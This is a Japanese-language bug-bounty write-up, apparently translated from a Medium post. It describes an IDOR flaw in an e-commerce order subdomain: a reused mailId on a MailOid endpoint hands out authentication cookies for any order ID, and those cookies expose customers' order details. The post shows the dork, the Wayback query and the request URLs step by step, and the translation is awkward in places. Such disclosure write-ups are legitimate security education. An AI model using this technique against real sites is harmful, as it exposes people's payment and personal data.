How I Prevented a Mass Data Breach - $15,000 bounty - @bxmbn から学ぶ

ソース:

bxmbn.medium.com

脆弱性:IDOR

 

訳:

Dork が使用した場所: site:privateprogram.com/webapp/

 

さまざまな愚か者を調べて実験した結果、ユーザーの注文を保存する専用のサブドメインを発見しました。 

 

https://orders.privateprogram.com/webapp/wcs/stores/servlet/OrderView?orderId=002233893

 

アクセスしてみましたが、当然ながら禁断のエラーが出てしまいました。

さらにエンドポイントがあるかどうかを確認したかったので、それを後で保存し、ウェイバック マシンを使用しました。

 

http://web.archive.org/cdx/search/cdx?url=orders.privateprogram.com/webapp/*&output=text&fl=original&collapse=urlkey&from=-

ウェイバックマシンの使用。
この新しい興味深いエンドポイントを見つけました。 

 

https://orders.privateprogram.com/webapp/wcs/stores/servlet/MailOid?orderId=003163553&mailId=a1c156c4–6c4a-4bf9–9a17–2c5bvcdf6ec1

これをリクエストして「200 OK」という応答を受け取りましたが、空白のページが返されました。
応答を調べたところ、リクエストを送信するたびにサーバーが Cookie を設定していることに気付きました。 

 

HTTP/1.1 200 Ok

.
..
...

Set-Cookie:WC_PERSISTENT*=*************************
Set-Cookie:WC_AUTHENTICATION_*=***********************
Set-Cookie:WC_USERACTIVITY_*=*************************

...
..
.

 

これらの Cookie に詳しい場合は、これらが実際には認証 Cookie であることがわかります。

そこで、これらの Cookie を使用して注文 003163553 を確認してみました。

 

https://orders.privateprogram.com/webapp/wcs/stores/servlet/OrderView?orderId=003163553

 

そしてそれはうまくいきました!
私はその命令にアクセスできるようになりました。
私は、mailId が注文にアクセスするためのセキュリティ キーとして機能するのではないかと推測しました。
この理論をテストするために、以前の Google の探索中に見つけた別の orderId (order 002233893、覚えていますか?) を使用して同じエクスプロイトを試み、同様にアクセスすることに成功しました。

 

https://orders.privateprogram.com/webapp/wcs/stores/servlet/OrderView?orderId=002233893

 

mailId は明らかにセキュリティ キーとして機能しようとしていますが、すべての注文のセキュリティ キーとして機能し、有効でリクエスト時に存在する限り、どの注文へのアクセスも許可します。 

 

https://orders.privateprogram.com/webapp/wcs/stores/servlet/MailOid?orderId=<anyorder>&mailId=a1c156c4–6c4a-4bf9–9a17–2c5bvcdf6ec1

 

要約すると、たとえば、orderId 002143893 にアクセスしたい場合、最初のステップは、その特定の注文の Cookie を取得するために次のリクエストを行うことになります。 

 

https://orders.privateprogram.com/webapp/wcs/stores/servlet/MailOid?orderId=002143893&mailId=a1c156c4–6c4a-4bf9–9a17–2c5bvcdf6ec1

空の応答が返されますが、サーバーはその特定の注文の Cookie を提供します。 

 

HTTP/1.1 200 Ok

.
..
...

Set-Cookie:WC_PERSISTENT*=*************************
Set-Cookie:WC_AUTHENTICATION_*=***********************
Set-Cookie:WC_USERACTIVITY_*=*************************

...
..
.

 

Cookie を取得したので、注文 002143893にアクセスできるようになりました。

 

https://orders.privateprogram.com/webapp/wcs/stores/servlet/OrderView?orderId=002143893

 

この脆弱性により、攻撃者は支払い方法、契約書 PDF、請求先および配送先住所、電子メール アドレス、電話番号、姓名などの機密情報を含む任意の人の注文にアクセスでき、300 万人分の情報が漏洩する可能性があります。

ご覧のとおり、Google Dorking と Wayback Machine がこの問題を発見する鍵となりました。

 

ほなほな。